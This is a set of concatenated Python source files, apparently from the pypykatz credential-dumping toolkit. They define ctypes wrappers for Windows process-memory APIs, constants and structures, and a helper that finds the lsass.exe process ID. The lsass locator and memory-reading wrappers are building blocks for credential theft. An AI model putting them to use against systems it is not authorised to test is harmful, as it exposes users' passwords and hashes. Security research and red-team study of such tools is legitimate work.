654 ERROR_SERVICE_MARKED_FOR_DELETE = 1072
655 ERROR_SERVICE_EXISTS = 1073
656 ERROR_ALREADY_RUNNING_LKG = 1074
657 ERROR_SERVICE_DEPENDENCY_DELETED = 1075
658 ERROR_BOOT_ALREADY_ACCEPTED = 1076
659 ERROR_SERVICE_NEVER_STARTED = 1077
660 ERROR_DUPLICATE_SERVICE_NAME = 1078
661 ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079
662 ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080
663 ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081
664 ERROR_NO_RECOVERY_PROGRAM = 1082
665 ERROR_SERVICE_NOT_IN_EXE = 1083
666 ERROR_NOT_SAFEBOOT_SERVICE = 1084
667
668 ERROR_DEBUGGER_INACTIVE = 1284
669
670 ERROR_PRIVILEGE_NOT_HELD = 1314
671
672 ERROR_NONE_MAPPED = 1332
673
674 RPC_S_SERVER_UNAVAILABLE = 1722
675
676 # Standard access rights
677 DELETE = 0x00010000
678 READ_CONTROL = 0x00020000
679 WRITE_DAC = 0x00040000
680 WRITE_OWNER = 0x00080000
681 SYNCHRONIZE = 0x00100000
682 STANDARD_RIGHTS_REQUIRED = 0x000F0000
683 STANDARD_RIGHTS_READ = READ_CONTROL
684 STANDARD_RIGHTS_WRITE = READ_CONTROL
685 STANDARD_RIGHTS_EXECUTE = READ_CONTROL
686 STANDARD_RIGHTS_ALL = 0x001F0000
687 SPECIFIC_RIGHTS_ALL = 0x0000FFFF
688
689 #--- Structures ---------------------------------------------------------------
690
691 # typedef struct _LSA_UNICODE_STRING {
692 # USHORT Length;
693 # USHORT MaximumLength;
694 # PWSTR Buffer;
695 # } LSA_UNICODE_STRING,
696 # *PLSA_UNICODE_STRING,
697 # UNICODE_STRING,
698 # *PUNICODE_STRING;
699 class UNICODE_STRING(Structure):
700 _fields_ = [
701 ("Length", USHORT),
702 ("MaximumLength", USHORT),
703 ("Buffer", PVOID),
704 ]
705
706 # From MSDN:
707 #
708 # typedef struct _GUID {
709 # DWORD Data1;
710 # WORD Data2;
711 # WORD Data3;
712 # BYTE Data4[8];
713 # } GUID;
714 class GUID(Structure):
715 _fields_ = [
716 ("Data1", DWORD),
717 ("Data2", WORD),
718 ("Data3", WORD),
719 ("Data4", BYTE * 8),
720 ]
721
722 # From MSDN:
723 #
724 # typedef struct _LIST_ENTRY {
725 # struct _LIST_ENTRY *Flink;
726 # struct _LIST_ENTRY *Blink;
727 # } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
728 class LIST_ENTRY(Structure):
729 _fields_ = [
730 ("Flink", PVOID), # POINTER(LIST_ENTRY)
731 ("Blink", PVOID), # POINTER(LIST_ENTRY)
732 ]
733
734 #==============================================================================
735 # This calculates the list of exported symbols.
736 _all = set(vars().keys()).difference(_all)
737 ##__all__ = [_x for _x in _all if not _x.startswith('_')]
738 ##__all__.sort()
739 #==============================================================================
0 from .version import *
1 import ctypes
2
3 def get_file_version_info(filename):
4
5 # Get the file version info structure.
6 pBlock = GetFileVersionInfoW(filename)
7 pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\")
8 if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO):
9 raise ctypes.WinError(ERROR_BAD_LENGTH)
10 pVersionInfo = ctypes.cast(pBuffer,
11 ctypes.POINTER(VS_FIXEDFILEINFO))
12 VersionInfo = pVersionInfo.contents
13 if VersionInfo.dwSignature != 0xFEEF04BD:
14 raise ctypes.WinError(ERROR_BAD_ARGUMENTS)
15
16 FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS
17 return FileDate
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30
31 from .defines import *
32
33 PAGE_NOACCESS = 0x01
34 PAGE_READONLY = 0x02
35 PAGE_READWRITE = 0x04
36 PAGE_WRITECOPY = 0x08
37 PAGE_EXECUTE = 0x10
38 PAGE_EXECUTE_READ = 0x20
39 PAGE_EXECUTE_READWRITE = 0x40
40 PAGE_EXECUTE_WRITECOPY = 0x80
41 PAGE_GUARD = 0x100
42 PAGE_NOCACHE = 0x200
43 PAGE_WRITECOMBINE = 0x400
44 MEM_COMMIT = 0x1000
45 MEM_RESERVE = 0x2000
46 MEM_DECOMMIT = 0x4000
47 MEM_RELEASE = 0x8000
48 MEM_FREE = 0x10000
49 MEM_PRIVATE = 0x20000
50 MEM_MAPPED = 0x40000
51 MEM_RESET = 0x80000
52 MEM_TOP_DOWN = 0x100000
53 MEM_WRITE_WATCH = 0x200000
54 MEM_PHYSICAL = 0x400000
55 MEM_LARGE_PAGES = 0x20000000
56 MEM_4MB_PAGES = 0x80000000
57 SEC_FILE = 0x800000
58 SEC_IMAGE = 0x1000000
59 SEC_RESERVE = 0x4000000
60 SEC_COMMIT = 0x8000000
61 SEC_NOCACHE = 0x10000000
62 SEC_LARGE_PAGES = 0x80000000
63 MEM_IMAGE = SEC_IMAGE
64 WRITE_WATCH_FLAG_RESET = 0x01
65 FILE_MAP_ALL_ACCESS = 0xF001F
66
67 class UserModeHandle (HANDLE):
68 """
69 Base class for non-kernel handles. Generally this means they are closed
70 by special Win32 API functions instead of CloseHandle() and some standard
71 operations (synchronizing, duplicating, inheritance) are not supported.
72 @type _TYPE: C type
73 @cvar _TYPE: C type to translate this handle to.
74 Subclasses should override this.
75 Defaults to L{HANDLE}.
76 """
77
78 # Subclasses should override this.
79 _TYPE = HANDLE
80
81 # This method must be implemented by subclasses.
82 def _close(self):
83 raise NotImplementedError()
84
85 # Translation to C type.
86 @property
87 def _as_parameter_(self):
88 return self._TYPE(self.value)
89
90 # Translation to C type.
91 @staticmethod
92 def from_param(value):
93 return self._TYPE(self.value)
94
95 # Operation not supported.
96 @property
97 def inherit(self):
98 return False
99
100 # Operation not supported.
101 @property
102 def protectFromClose(self):
103 return False
104
105 # Operation not supported.
106 def dup(self):
107 raise NotImplementedError()
108
109 # Operation not supported.
110 def wait(self, dwMilliseconds = None):
111 raise NotImplementedError()
112
113 # Don't psyco-optimize this class because it needs to be serialized.
114 class MemoryBasicInformation(object):
115 """
116 Memory information object returned by L{VirtualQueryEx}.
117 """
118
119 READABLE = (
120 PAGE_EXECUTE_READ |
121 PAGE_EXECUTE_READWRITE |
122 PAGE_EXECUTE_WRITECOPY |
123 PAGE_READONLY |
124 PAGE_READWRITE |
125 PAGE_WRITECOPY
126 )
127
128 WRITEABLE = (
129 PAGE_EXECUTE_READWRITE |
130 PAGE_EXECUTE_WRITECOPY |
131 PAGE_READWRITE |
132 PAGE_WRITECOPY
133 )
134
135 COPY_ON_WRITE = (
136 PAGE_EXECUTE_WRITECOPY |
137 PAGE_WRITECOPY
138 )
139
140 EXECUTABLE = (
141 PAGE_EXECUTE |
142 PAGE_EXECUTE_READ |
143 PAGE_EXECUTE_READWRITE |
144 PAGE_EXECUTE_WRITECOPY
145 )
146
147 EXECUTABLE_AND_WRITEABLE = (
148 PAGE_EXECUTE_READWRITE |
149 PAGE_EXECUTE_WRITECOPY
150 )
151
152 def __init__(self, mbi=None):
153 """
154 @type mbi: L{MEMORY_BASIC_INFORMATION} or L{MemoryBasicInformation}
155 @param mbi: Either a L{MEMORY_BASIC_INFORMATION} structure or another
156 L{MemoryBasicInformation} instance.
157 """
158 if mbi is None:
159 self.BaseAddress = None
160 self.AllocationBase = None
161 self.AllocationProtect = None
162 self.RegionSize = None
163 self.State = None
164 self.Protect = None
165 self.Type = None
166 else:
167 self.BaseAddress = mbi.BaseAddress
168 self.AllocationBase = mbi.AllocationBase
169 self.AllocationProtect = mbi.AllocationProtect
170 self.RegionSize = mbi.RegionSize
171 self.State = mbi.State
172 self.Protect = mbi.Protect
173 self.Type = mbi.Type
174
175 # Only used when copying MemoryBasicInformation objects, instead of
176 # instancing them from a MEMORY_BASIC_INFORMATION structure.
177 if hasattr(mbi, 'content'):
178 self.content = mbi.content
179 if hasattr(mbi, 'filename'):
180 self.content = mbi.filename
181
182 def __contains__(self, address):
183 """
184 Test if the given memory address falls within this memory region.
185 @type address: int
186 @param address: Memory address to test.
187 @rtype: bool
188 @return: C{True} if the given memory address falls within this memory
189 region, C{False} otherwise.
190 """
191 return self.BaseAddress <= address < (self.BaseAddress + self.RegionSize)
192
193 def is_free(self):
194 """
195 @rtype: bool
196 @return: C{True} if the memory in this region is free.
197 """
198 return self.State == MEM_FREE
199
200 def is_reserved(self):
201 """
202 @rtype: bool
203 @return: C{True} if the memory in this region is reserved.
204 """
205 return self.State == MEM_RESERVE
206
207 def is_commited(self):
208 """
209 @rtype: bool
210 @return: C{True} if the memory in this region is commited.
211 """
212 return self.State == MEM_COMMIT
213
214 def is_image(self):
215 """
216 @rtype: bool
217 @return: C{True} if the memory in this region belongs to an executable
218 image.
219 """
220 return self.Type == MEM_IMAGE
221
222 def is_mapped(self):
223 """
224 @rtype: bool
225 @return: C{True} if the memory in this region belongs to a mapped file.
226 """
227 return self.Type == MEM_MAPPED
228
229 def is_private(self):
230 """
231 @rtype: bool
232 @return: C{True} if the memory in this region is private.
233 """
234 return self.Type == MEM_PRIVATE
235
236 def is_guard(self):
237 """
238 @rtype: bool
239 @return: C{True} if all pages in this region are guard pages.
240 """
241 return self.is_commited() and bool(self.Protect & PAGE_GUARD)
242
243 def has_content(self):
244 """
245 @rtype: bool
246 @return: C{True} if the memory in this region has any data in it.
247 """
248 return self.is_commited() and not bool(self.Protect & (PAGE_GUARD | PAGE_NOACCESS))
249
250 def is_readable(self):
251 """
252 @rtype: bool
253 @return: C{True} if all pages in this region are readable.
254 """
255 return self.has_content() and bool(self.Protect & self.READABLE)
256
257 def is_writeable(self):
258 """
259 @rtype: bool
260 @return: C{True} if all pages in this region are writeable.
261 """
262 return self.has_content() and bool(self.Protect & self.WRITEABLE)
263
264 def is_copy_on_write(self):
265 """
266 @rtype: bool
267 @return: C{True} if all pages in this region are marked as
268 copy-on-write. This means the pages are writeable, but changes
269 are not propagated to disk.
270 @note:
271 Tipically data sections in executable images are marked like this.
272 """
273 return self.has_content() and bool(self.Protect & self.COPY_ON_WRITE)
274
275 def is_executable(self):
276 """
277 @rtype: bool
278 @return: C{True} if all pages in this region are executable.
279 @note: Executable pages are always readable.
280 """
281 return self.has_content() and bool(self.Protect & self.EXECUTABLE)
282
283 def is_executable_and_writeable(self):
284 """
285 @rtype: bool
286 @return: C{True} if all pages in this region are executable and
287 writeable.
288 @note: The presence of such pages make memory corruption
289 vulnerabilities much easier to exploit.
290 """
291 return self.has_content() and bool(self.Protect & self.EXECUTABLE_AND_WRITEABLE)
292
293
294 # DWORD WINAPI GetLastError(void);
295 def GetLastError():
296 _GetLastError = windll.kernel32.GetLastError
297 _GetLastError.argtypes = []
298 _GetLastError.restype = DWORD
299 return _GetLastError()
300
301 # typedef struct _MEMORY_BASIC_INFORMATION {
302 # PVOID BaseAddress;
303 # PVOID AllocationBase;
304 # DWORD AllocationProtect;
305 # SIZE_T RegionSize;
306 # DWORD State;
307 # DWORD Protect;
308 # DWORD Type;
309 # } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
310 class MEMORY_BASIC_INFORMATION(Structure):
311 _fields_ = [
312 ('BaseAddress', SIZE_T), # remote pointer
313 ('AllocationBase', SIZE_T), # remote pointer
314 ('AllocationProtect', DWORD),
315 ('RegionSize', SIZE_T),
316 ('State', DWORD),
317 ('Protect', DWORD),
318 ('Type', DWORD),
319 ]
320 PMEMORY_BASIC_INFORMATION = POINTER(MEMORY_BASIC_INFORMATION)
321
322
323 # BOOL WINAPI CloseHandle(
324 # __in HANDLE hObject
325 # );
326 def CloseHandle(hHandle):
327 if hasattr(hHandle, 'close'):
328 # Prevents the handle from being closed without notifying the Handle object.
329 hHandle.close()
330 else:
331 _CloseHandle = windll.kernel32.CloseHandle
332 _CloseHandle.argtypes = [HANDLE]
333 _CloseHandle.restype = bool
334 _CloseHandle.errcheck = RaiseIfZero
335 _CloseHandle(hHandle)
336
337
338 # DWORD WINAPI GetCurrentProcessId(void);
339 def GetCurrentProcessId():
340 _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId
341 _GetCurrentProcessId.argtypes = []
342 _GetCurrentProcessId.restype = DWORD
343 return _GetCurrentProcessId()
344
345 # BOOL WINAPI QueryFullProcessImageName(
346 # __in HANDLE hProcess,
347 # __in DWORD dwFlags,
348 # __out LPTSTR lpExeName,
349 # __inout PDWORD lpdwSize
350 # );
351 def QueryFullProcessImageNameW(hProcess, dwFlags = 0):
352 _QueryFullProcessImageNameW = windll.kernel32.QueryFullProcessImageNameW
353 _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, PDWORD]
354 _QueryFullProcessImageNameW.restype = bool
355
356 dwSize = MAX_PATH
357 while 1:
358 lpdwSize = DWORD(dwSize)
359 lpExeName = ctypes.create_unicode_buffer('', lpdwSize.value + 1)
360 success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize))
361 if success and 0 < lpdwSize.value < dwSize:
362 break
363 error = GetLastError()
364 if error != ERROR_INSUFFICIENT_BUFFER:
365 raise ctypes.WinError(error)
366 dwSize = dwSize + 256
367 if dwSize > 0x1000:
368 # this prevents an infinite loop in Windows 2008 when the path has spaces,
369 # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4
370 raise ctypes.WinError(error)
371 return lpExeName.value
372
373 # HANDLE WINAPI OpenProcess(
374 # __in DWORD dwDesiredAccess,
375 # __in BOOL bInheritHandle,
376 # __in DWORD dwProcessId
377 # );
378 def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId):
379 _OpenProcess = windll.kernel32.OpenProcess
380 _OpenProcess.argtypes = [DWORD, BOOL, DWORD]
381 _OpenProcess.restype = HANDLE
382
383 hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId)
384 if hProcess == NULL:
385 raise ctypes.WinError()
386 return hProcess
387
388
389 # BOOL WINAPI ReadProcessMemory(
390 # __in HANDLE hProcess,
391 # __in LPCVOID lpBaseAddress,
392 # __out LPVOID lpBuffer,
393 # __in SIZE_T nSize,
394 # __out SIZE_T* lpNumberOfBytesRead
395 # );
396 def ReadProcessMemory(hProcess, lpBaseAddress, nSize):
397 _ReadProcessMemory = windll.kernel32.ReadProcessMemory
398 _ReadProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)]
399 _ReadProcessMemory.restype = bool
400
401 lpBuffer = ctypes.create_string_buffer(nSize)
402 lpNumberOfBytesRead = SIZE_T(0)
403 success = _ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesRead))
404 if not success and GetLastError() != ERROR_PARTIAL_COPY:
405 raise ctypes.WinError()
406 return lpBuffer.raw[:lpNumberOfBytesRead.value]
407
408 # BOOL WINAPI WriteProcessMemory(
409 # __in HANDLE hProcess,
410 # __in LPCVOID lpBaseAddress,
411 # __in LPVOID lpBuffer,
412 # __in SIZE_T nSize,
413 # __out SIZE_T* lpNumberOfBytesWritten
414 # );
415 def WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer):
416 _WriteProcessMemory = windll.kernel32.WriteProcessMemory
417 _WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)]
418 _WriteProcessMemory.restype = bool
419
420 nSize = len(lpBuffer)
421 lpBuffer = ctypes.create_string_buffer(lpBuffer)
422 lpNumberOfBytesWritten = SIZE_T(0)
423 success = _WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesWritten))
424 if not success and GetLastError() != ERROR_PARTIAL_COPY:
425 raise ctypes.WinError()
426 return lpNumberOfBytesWritten.value
427
428
429 # SIZE_T WINAPI VirtualQueryEx(
430 # __in HANDLE hProcess,
431 # __in_opt LPCVOID lpAddress,
432 # __out PMEMORY_BASIC_INFORMATION lpBuffer,
433 # __in SIZE_T dwLength
434 # );
435 def VirtualQueryEx(hProcess, lpAddress):
436 _VirtualQueryEx = windll.kernel32.VirtualQueryEx
437 _VirtualQueryEx.argtypes = [HANDLE, LPVOID, PMEMORY_BASIC_INFORMATION, SIZE_T]
438 _VirtualQueryEx.restype = SIZE_T
439
440 lpBuffer = MEMORY_BASIC_INFORMATION()
441 dwLength = sizeof(MEMORY_BASIC_INFORMATION)
442 success = _VirtualQueryEx(hProcess, lpAddress, byref(lpBuffer), dwLength)
443 if success == 0:
444 raise ctypes.WinError()
445 return MemoryBasicInformation(lpBuffer)
446
447 # HLOCAL WINAPI LocalFree(
448 # __in HLOCAL hMem
449 # );
450 def LocalFree(hMem):
451 _LocalFree = windll.kernel32.LocalFree
452 _LocalFree.argtypes = [HLOCAL]
453 _LocalFree.restype = HLOCAL
454
455 result = _LocalFree(hMem)
456 if result != NULL:
457 ctypes.WinError()
458
459
460 #--- SECURITY_ATTRIBUTES structure --------------------------------------------
461
462 # typedef struct _SECURITY_ATTRIBUTES {
463 # DWORD nLength;
464 # LPVOID lpSecurityDescriptor;
465 # BOOL bInheritHandle;
466 # } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
467 class SECURITY_ATTRIBUTES(Structure):
468 _fields_ = [
469 ('nLength', DWORD),
470 ('lpSecurityDescriptor', LPVOID),
471 ('bInheritHandle', BOOL),
472 ]
473 LPSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
474
475 # --- Extended process and thread attribute support ---------------------------
476
477 PPROC_THREAD_ATTRIBUTE_LIST = LPVOID
478 LPPROC_THREAD_ATTRIBUTE_LIST = PPROC_THREAD_ATTRIBUTE_LIST
479
480 PROC_THREAD_ATTRIBUTE_NUMBER = 0x0000FFFF
481 PROC_THREAD_ATTRIBUTE_THREAD = 0x00010000 # Attribute may be used with thread creation
482 PROC_THREAD_ATTRIBUTE_INPUT = 0x00020000 # Attribute is input only
483 PROC_THREAD_ATTRIBUTE_ADDITIVE = 0x00040000 # Attribute may be "accumulated," e.g. bitmasks, counters, etc.
484
485 # PROC_THREAD_ATTRIBUTE_NUM
486 ProcThreadAttributeParentProcess = 0
487 ProcThreadAttributeExtendedFlags = 1
488 ProcThreadAttributeHandleList = 2
489 ProcThreadAttributeGroupAffinity = 3
490 ProcThreadAttributePreferredNode = 4
491 ProcThreadAttributeIdealProcessor = 5
492 ProcThreadAttributeUmsThread = 6
493 ProcThreadAttributeMitigationPolicy = 7
494 ProcThreadAttributeMax = 8
495
496 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = ProcThreadAttributeParentProcess | PROC_THREAD_ATTRIBUTE_INPUT
497 PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS = ProcThreadAttributeExtendedFlags | PROC_THREAD_ATTRIBUTE_INPUT | PROC_THREAD_ATTRIBUTE_ADDITIVE
498 PROC_THREAD_ATTRIBUTE_HANDLE_LIST = ProcThreadAttributeHandleList | PROC_THREAD_ATTRIBUTE_INPUT
499 PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY = ProcThreadAttributeGroupAffinity | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT
500 PROC_THREAD_ATTRIBUTE_PREFERRED_NODE = ProcThreadAttributePreferredNode | PROC_THREAD_ATTRIBUTE_INPUT
501 PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR = ProcThreadAttributeIdealProcessor | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT
502 PROC_THREAD_ATTRIBUTE_UMS_THREAD = ProcThreadAttributeUmsThread | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT
503 PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = ProcThreadAttributeMitigationPolicy | PROC_THREAD_ATTRIBUTE_INPUT
504
505 PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE = 0x01
506 PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE = 0x02
507 PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE = 0x04
508
509 #--- PROCESS_INFORMATION structure --------------------------------------------
510
511 # typedef struct _PROCESS_INFORMATION {
512 # HANDLE hProcess;
513 # HANDLE hThread;
514 # DWORD dwProcessId;
515 # DWORD dwThreadId;
516 # } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
517 class PROCESS_INFORMATION(Structure):
518 _fields_ = [
519 ('hProcess', HANDLE),
520 ('hThread', HANDLE),
521 ('dwProcessId', DWORD),
522 ('dwThreadId', DWORD),
523 ]
524 LPPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION)
525
526 #--- STARTUPINFO and STARTUPINFOEX structures ---------------------------------
527
528 # typedef struct _STARTUPINFO {
529 # DWORD cb;
530 # LPTSTR lpReserved;
531 # LPTSTR lpDesktop;
532 # LPTSTR lpTitle;
533 # DWORD dwX;
534 # DWORD dwY;
535 # DWORD dwXSize;
536 # DWORD dwYSize;
537 # DWORD dwXCountChars;
538 # DWORD dwYCountChars;
539 # DWORD dwFillAttribute;
540 # DWORD dwFlags;
541 # WORD wShowWindow;
542 # WORD cbReserved2;
543 # LPBYTE lpReserved2;
544 # HANDLE hStdInput;
545 # HANDLE hStdOutput;
546 # HANDLE hStdError;
547 # }STARTUPINFO, *LPSTARTUPINFO;
548 class STARTUPINFO(Structure):
549 _fields_ = [
550 ('cb', DWORD),
551 ('lpReserved', LPSTR),
552 ('lpDesktop', LPSTR),
553 ('lpTitle', LPSTR),
554 ('dwX', DWORD),
555 ('dwY', DWORD),
556 ('dwXSize', DWORD),
557 ('dwYSize', DWORD),
558 ('dwXCountChars', DWORD),
559 ('dwYCountChars', DWORD),
560 ('dwFillAttribute', DWORD),
561 ('dwFlags', DWORD),
562 ('wShowWindow', WORD),
563 ('cbReserved2', WORD),
564 ('lpReserved2', LPVOID), # LPBYTE
565 ('hStdInput', HANDLE),
566 ('hStdOutput', HANDLE),
567 ('hStdError', HANDLE),
568 ]
569 LPSTARTUPINFO = POINTER(STARTUPINFO)
570
571 # typedef struct _STARTUPINFOEX {
572 # STARTUPINFO StartupInfo;
573 # PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
574 # } STARTUPINFOEX, *LPSTARTUPINFOEX;
575 class STARTUPINFOEX(Structure):
576 _fields_ = [
577 ('StartupInfo', STARTUPINFO),
578 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
579 ]
580 LPSTARTUPINFOEX = POINTER(STARTUPINFOEX)
581
582 class STARTUPINFOW(Structure):
583 _fields_ = [
584 ('cb', DWORD),
585 ('lpReserved', LPWSTR),
586 ('lpDesktop', LPWSTR),
587 ('lpTitle', LPWSTR),
588 ('dwX', DWORD),
589 ('dwY', DWORD),
590 ('dwXSize', DWORD),
591 ('dwYSize', DWORD),
592 ('dwXCountChars', DWORD),
593 ('dwYCountChars', DWORD),
594 ('dwFillAttribute', DWORD),
595 ('dwFlags', DWORD),
596 ('wShowWindow', WORD),
597 ('cbReserved2', WORD),
598 ('lpReserved2', LPVOID), # LPBYTE
599 ('hStdInput', HANDLE),
600 ('hStdOutput', HANDLE),
601 ('hStdError', HANDLE),
602 ]
603 LPSTARTUPINFOW = POINTER(STARTUPINFOW)
604
605 class STARTUPINFOEXW(Structure):
606 _fields_ = [
607 ('StartupInfo', STARTUPINFOW),
608 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
609 ]
610 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
0 import os
1 import sys
2 import ctypes
3 import enum
4 import logging
5
6 from .kernel32 import *
7 from .psapi import *
8
9 class WindowsMinBuild(enum.Enum):
10 WIN_XP = 2500
11 WIN_2K3 = 3000
12 WIN_VISTA = 5000
13 WIN_7 = 7000
14 WIN_8 = 8000
15 WIN_BLUE = 9400
16 WIN_10 = 9800
17
18
19 #utter microsoft bullshit commencing..
20 def getWindowsBuild():
21 class OSVersionInfo(ctypes.Structure):
22 _fields_ = [
23 ("dwOSVersionInfoSize" , ctypes.c_int),
24 ("dwMajorVersion" , ctypes.c_int),
25 ("dwMinorVersion" , ctypes.c_int),
26 ("dwBuildNumber" , ctypes.c_int),
27 ("dwPlatformId" , ctypes.c_int),
28 ("szCSDVersion" , ctypes.c_char*128)];
29 GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
30 version = OSVersionInfo()
31 version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
32 GetVersionEx( ctypes.byref(version) )
33 return version.dwBuildNumber
34
35 DELETE = 0x00010000
36 READ_CONTROL = 0x00020000
37 WRITE_DAC = 0x00040000
38 WRITE_OWNER = 0x00080000
39
40 SYNCHRONIZE = 0x00100000
41
42 STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER
43 STANDARD_RIGHTS_ALL = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE
44
45 if getWindowsBuild() >= WindowsMinBuild.WIN_VISTA.value:
46 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF
47 else:
48 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF
49
50 PROCESS_QUERY_INFORMATION = 0x0400
51 PROCESS_VM_READ = 0x0010
52
53
54 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
55 def enum_process_names():
56 pid_to_name = {}
57
58 for pid in EnumProcesses():
59 if pid == 0:
60 continue
61 pid_to_name[pid] = 'Not found'
62 try:
63 process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
64 except Exception as e:
65 continue
66
67 pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
68 return pid_to_name
69
70
71 def get_lsass_pid():
72 pid_to_name = enum_process_names()
73 for pid in pid_to_name:
74 if pid_to_name[pid].lower().find('lsass.exe') != -1:
75 return pid
76
77 raise Exception('Failed to find lsass.exe')
0 import enum
1 import datetime
2 import ctypes
3 from ctypes import wintypes
4
5 from pypykatz.commons.winapi.local.function_defs.defines import *
6 from pypykatz.commons.winapi.local.function_defs.netapi32_high import *
7
8 """
9 D: NetShareEnum
10 NetWkstaUserEnum
11 D: NetSessionEnum
12 D: NetLocalGroupGetMembers
13 DsGetSiteName
14 DsEnumerateDomainTrusts
15 D: NetApiBufferFree
16 """
17
18 LMSTR = LPWSTR
19 MAX_PREFERRED_LENGTH = -1
20
21 # http://qaru.site/questions/901246/howto-determine-file-owner-on-windows-using-python-without-pywin32
22 class SID_NAME_USE(wintypes.DWORD):
23 _sid_types = dict(enumerate('''
24 User Group Domain Alias WellKnownGroup DeletedAccount
25 Invalid Unknown Computer Label'''.split(), 1))
26
27 def __init__(self, value=None):
28 if value is not None:
29 if value not in self.sid_types:
30 raise ValueError('invalid SID type')
31 wintypes.DWORD.__init__(value)
32
33 def __str__(self):
34 if self.value not in self._sid_types:
35 raise ValueError('invalid SID type for value: %s' % self.value)
36 return self._sid_types[self.value]
37
38 def __repr__(self):
39 return 'SID_NAME_USE(%s)' % self.value
40
41 PSID_NAME_USE = ctypes.POINTER(SID_NAME_USE)
42
43
44 PSID_NAME_USE = ctypes.POINTER(SID_NAME_USE)
45
46 class FILE_INFO_2(Structure):
47 _fields_ = [
48 ('fid',DWORD),
49 ]
50 PFILE_INFO_2 = POINTER(FILE_INFO_2)
51
52 class FILE_INFO_3(Structure):
53 _fields_ = [
54 ('fid',DWORD),
55 ('permissions',DWORD),
56 ('num_locks',DWORD),
57 ('pathname',LMSTR),
58 ('username',LMSTR),
59 ]
60 PFILE_INFO_3 = POINTER(FILE_INFO_3)
61
62 class SHARE_INFO_0(Structure):
63 _fields_ = [
64 ('netname',LMSTR),
65 ]
66 PSHARE_INFO_0 = POINTER(SHARE_INFO_0)
67
68 class SHARE_INFO_1(Structure):
69 _fields_ = [
